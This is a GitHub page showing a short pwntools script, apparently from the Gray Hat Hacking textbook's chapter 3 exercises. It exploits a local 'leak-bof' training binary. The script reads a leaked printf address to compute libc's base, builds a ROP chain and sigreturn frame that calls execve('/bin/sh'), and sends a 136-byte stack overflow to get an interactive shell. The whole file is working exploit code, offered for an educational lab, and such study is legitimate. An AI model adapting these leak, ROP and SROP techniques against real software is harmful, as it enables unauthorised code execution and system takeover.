-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathexploit.py
More file actions
45 lines (38 loc) · 1.6 KB
/
exploit.py
File metadata and controls
45 lines (38 loc) · 1.6 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
# source: https://github.com/GrayHatHacking/GHHv6/blob/main/ch03/leak-bof-exploit.py
from pwn import *
context.update(arch='amd64', os='linux')
# setup & init
elf = ELF("./leak-bof")
# make sure the version of libc matches the one used by the target binary
libc = ELF("/usr/lib/x86_64-linux-gnu/libc.so.6")
p = process("./leak-bof")
# leak & calculate libc base address
l = log.progress("Stage 1: leak printf and calculate libc's base address")
p.readuntil(b"I'm leaking printf: ")
# reads the leaked printf address, converts it from hexadecimal to an integer, and calculates the base address of libc by subtracting the offset of printf in libc
libc.address = int(p.readline(), 16) - libc.sym['printf']
l.success(f"0x{libc.address:x}")
# ROP & SROP setup
rop = ROP(libc.file.name)
l = log.progress("Stage 2: pop a shell with ROP + SROP payload")
# searches for the string /bin/sh in libc to get its address, which will be used to spawn a shell
bin_sh = next(libc.search(b'/bin/sh'))
# calculates the address of the syscall instruction in libc
syscall = libc.address + rop.syscall.address
# ROP chain & SROP frame
# finds a gadget that pops a value into the rax register and then returns
rop.raw(libc.address + rop.find_gadget(['pop rax', 'ret']).address)
rop.raw(constants.SYS_rt_sigreturn)
rop.raw(syscall)
# build SROP frame
frame = SigreturnFrame(kernel="amd64", arch="amd64")
frame.rax = constants.SYS_execve
frame.rdi = bin_sh
frame.rsi = 0
frame.rdx = 0
frame.rsp = bin_sh
frame.rip = syscall
# send stack smash and payload
p.sendlineafter(b": ", b"A"*136 + rop.chain() + bytes(frame))
l.success('Enjoy!')
p.interactive()